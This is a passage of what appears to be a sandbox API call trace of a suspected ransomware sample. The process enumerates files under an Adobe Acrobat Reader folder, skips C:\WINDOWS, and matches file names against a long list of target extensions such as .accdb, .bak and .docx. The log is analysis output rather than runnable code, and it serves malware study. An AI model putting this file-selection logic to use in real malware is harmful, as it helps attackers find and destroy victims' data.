lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".cub") returned 4 [0266.113] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".dae") returned 4 [0266.113] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".dat") returned 4 [0266.113] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".db") returned 3 [0266.113] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.113] lstrlenW (lpString=".dbf") returned 4 [0266.113] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".dbx") returned 4 [0266.113] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".dc3") returned 4 [0266.113] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".dcm") returned 4 [0266.114] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".dcr") returned 4 [0266.114] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".der") returned 4 [0266.114] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".dib") returned 4 [0266.114] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".dic") returned 4 [0266.114] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".dif") returned 4 [0266.114] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".divx") returned 5 [0266.114] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.114] lstrlenW (lpString=".djvu") returned 5 [0266.114] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.114] lstrlenW (lpString=".dng") returned 4 [0266.114] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".doc") returned 4 [0266.114] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.114] lstrlenW (lpString=".docm") returned 5 [0266.114] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.114] lstrlenW (lpString=".docx") returned 5 [0266.115] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.115] lstrlenW (lpString=".dot") returned 4 [0266.115] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.115] lstrlenW (lpString=".dotm") returned 5 [0266.115] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.115] lstrlenW (lpString=".dotx") returned 5 [0266.115] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.115] lstrlenW (lpString=".dpx") returned 4 [0266.115] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.115] lstrlenW (lpString=".dqy") returned 4 [0266.115] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.115] lstrlenW (lpString=".dsn") returned 4 [0266.115] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.115] lstrlenW (lpString=".dt") returned 3 [0266.115] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.115] lstrlenW (lpString=".dtd") returned 4 [0266.115] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.115] lstrlenW (lpString=".dwg") returned 4 [0266.116] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".dwt") returned 4 [0266.116] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".dx") returned 3 [0266.116] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.116] lstrlenW (lpString=".dxf") returned 4 [0266.116] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".edml") returned 5 [0266.116] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.116] lstrlenW (lpString=".efd") returned 4 [0266.116] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".elf") returned 4 [0266.116] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".emf") returned 4 [0266.116] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".emz") returned 4 [0266.116] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.116] lstrlenW (lpString=".epf") returned 4 [0266.117] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".eps") returned 4 [0266.117] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".epsf") returned 5 [0266.117] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.117] lstrlenW (lpString=".epsp") returned 5 [0266.117] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.117] lstrlenW (lpString=".erf") returned 4 [0266.117] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".exr") returned 4 [0266.117] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".f4v") returned 4 [0266.117] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".fido") returned 5 [0266.117] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.117] lstrlenW (lpString=".flm") returned 4 [0266.117] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.117] lstrlenW (lpString=".flv") returned 4 [0266.117] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".frm") returned 4 [0266.118] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".fxg") returned 4 [0266.118] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".geo") returned 4 [0266.118] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".gif") returned 4 [0266.118] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".grs") returned 4 [0266.118] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".gz") returned 3 [0266.118] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.118] lstrlenW (lpString=".h") returned 2 [0266.118] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.118] lstrlenW (lpString=".hdr") returned 4 [0266.118] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".hpp") returned 4 [0266.118] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".hta") returned 4 [0266.118] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".htc") returned 4 [0266.118] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.118] lstrlenW (lpString=".htm") returned 4 [0266.118] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".html") returned 5 [0266.119] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.119] lstrlenW (lpString=".icb") returned 4 [0266.119] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".ics") returned 4 [0266.119] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".iff") returned 4 [0266.119] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".inc") returned 4 [0266.119] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".indd") returned 5 [0266.119] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.119] lstrlenW (lpString=".ini") returned 4 [0266.119] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".iqy") returned 4 [0266.119] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".j2c") returned 4 [0266.119] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.119] lstrlenW (lpString=".j2k") returned 4 [0266.120] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".java") returned 5 [0266.120] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.120] lstrlenW (lpString=".jp2") returned 4 [0266.120] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".jpc") returned 4 [0266.120] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".jpe") returned 4 [0266.120] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".jpeg") returned 5 [0266.120] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.120] lstrlenW (lpString=".jpf") returned 4 [0266.120] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".jpg") returned 4 [0266.120] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".jpx") returned 4 [0266.120] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.120] lstrlenW (lpString=".js") returned 3 [0266.120] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.120] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.121] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0266.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.159] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0266.159] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 106 [0266.159] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 1 [0266.159] lstrlenW (lpString="nb-no") returned 5 [0266.159] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nb-no") returned -1 [0266.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.159] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no") returned 106 [0266.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0266.283] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.283] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.283] lstrlenW (lpString="ui-strings.js") returned 13 [0266.283] lstrlenW (lpString=".1cd") returned 4 [0266.283] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.283] lstrlenW (lpString=".3ds") returned 4 [0266.283] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.283] lstrlenW (lpString=".3fr") returned 4 [0266.283] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.283] lstrlenW (lpString=".3g2") returned 4 [0266.283] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.283] lstrlenW (lpString=".3gp") returned 4 [0266.283] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.283] lstrlenW (lpString=".7z") returned 3 [0266.283] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.283] lstrlenW (lpString=".accda") returned 6 [0266.284] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".accdb") returned 6 [0266.284] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".accdc") returned 6 [0266.284] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".accde") returned 6 [0266.284] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".accdt") returned 6 [0266.284] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".accdw") returned 6 [0266.284] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.284] lstrlenW (lpString=".adb") returned 4 [0266.284] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".adp") returned 4 [0266.284] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".ai") returned 3 [0266.284] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.284] lstrlenW (lpString=".ai3") returned 4 [0266.284] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".ai4") returned 4 [0266.284] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".ai5") returned 4 [0266.284] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".ai6") returned 4 [0266.284] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.284] lstrlenW (lpString=".ai7") returned 4 [0266.284] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".ai8") returned 4 [0266.285] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".anim") returned 5 [0266.285] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.285] lstrlenW (lpString=".arw") returned 4 [0266.285] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".as") returned 3 [0266.285] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.285] lstrlenW (lpString=".asa") returned 4 [0266.285] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".asc") returned 4 [0266.285] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".ascx") returned 5 [0266.285] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.285] lstrlenW (lpString=".asm") returned 4 [0266.285] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".asmx") returned 5 [0266.285] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.285] lstrlenW (lpString=".asp") returned 4 [0266.285] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".aspx") returned 5 [0266.285] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.285] lstrlenW (lpString=".asr") returned 4 [0266.285] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.285] lstrlenW (lpString=".asx") returned 4 [0266.285] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.286] lstrlenW (lpString=".avi") returned 4 [0266.286] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.286] lstrlenW (lpString=".avs") returned 4 [0266.286] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.286] lstrlenW (lpString=".backup") returned 7 [0266.286] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.286] lstrlenW (lpString=".bak") returned 4 [0266.286] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.286] lstrlenW (lpString=".bay") returned 4 [0266.286] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.286] lstrlenW (lpString=".bd") returned 3 [0266.329] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.329] lstrlenW (lpString=".bin") returned 4 [0266.329] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.329] lstrlenW (lpString=".bmp") returned 4 [0266.330] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".bz2") returned 4 [0266.330] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".c") returned 2 [0266.330] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.330] lstrlenW (lpString=".cdr") returned 4 [0266.330] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".cer") returned 4 [0266.330] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".cf") returned 3 [0266.330] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.330] lstrlenW (lpString=".cfc") returned 4 [0266.330] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".cfm") returned 4 [0266.330] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".cfml") returned 5 [0266.330] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.330] lstrlenW (lpString=".cfu") returned 4 [0266.330] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".chm") returned 4 [0266.330] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".cin") returned 4 [0266.330] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.330] lstrlenW (lpString=".class") returned 6 [0266.330] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.331] lstrlenW (lpString=".clx") returned 4 [0266.331] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".config") returned 7 [0266.331] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.331] lstrlenW (lpString=".cpp") returned 4 [0266.331] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".cr2") returned 4 [0266.331] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".crt") returned 4 [0266.331] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".crw") returned 4 [0266.331] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".cs") returned 3 [0266.331] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.331] lstrlenW (lpString=".css") returned 4 [0266.331] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".csv") returned 4 [0266.331] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.331] lstrlenW (lpString=".cub") returned 4 [0266.331] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dae") returned 4 [0266.332] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dat") returned 4 [0266.332] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".db") returned 3 [0266.332] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.332] lstrlenW (lpString=".dbf") returned 4 [0266.332] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dbx") returned 4 [0266.332] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dc3") returned 4 [0266.332] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dcm") returned 4 [0266.332] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dcr") returned 4 [0266.332] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".der") returned 4 [0266.332] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.332] lstrlenW (lpString=".dib") returned 4 [0266.384] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.384] lstrlenW (lpString=".dic") returned 4 [0266.384] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.384] lstrlenW (lpString=".dif") returned 4 [0266.384] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.384] lstrlenW (lpString=".divx") returned 5 [0266.384] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.384] lstrlenW (lpString=".djvu") returned 5 [0266.384] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.384] lstrlenW (lpString=".dng") returned 4 [0266.384] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.384] lstrlenW (lpString=".doc") returned 4 [0266.384] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.384] lstrlenW (lpString=".docm") returned 5 [0266.384] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.384] lstrlenW (lpString=".docx") returned 5 [0266.384] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.384] lstrlenW (lpString=".dot") returned 4 [0266.384] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dotm") returned 5 [0266.385] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.385] lstrlenW (lpString=".dotx") returned 5 [0266.385] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.385] lstrlenW (lpString=".dpx") returned 4 [0266.385] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dqy") returned 4 [0266.385] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dsn") returned 4 [0266.385] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dt") returned 3 [0266.385] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.385] lstrlenW (lpString=".dtd") returned 4 [0266.385] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dwg") returned 4 [0266.385] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dwt") returned 4 [0266.385] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".dx") returned 3 [0266.385] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.385] lstrlenW (lpString=".dxf") returned 4 [0266.385] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.385] lstrlenW (lpString=".edml") returned 5 [0266.386] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.386] lstrlenW (lpString=".efd") returned 4 [0266.386] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".elf") returned 4 [0266.386] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".emf") returned 4 [0266.386] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".emz") returned 4 [0266.386] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".epf") returned 4 [0266.386] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".eps") returned 4 [0266.386] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".epsf") returned 5 [0266.386] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.386] lstrlenW (lpString=".epsp") returned 5 [0266.386] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.386] lstrlenW (lpString=".erf") returned 4 [0266.386] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".exr") returned 4 [0266.386] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.386] lstrlenW (lpString=".f4v") returned 4 [0266.386] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.387] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.387] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0266.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.387] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0266.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.387] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\*", lpFindFileData=0x396df28 | out: 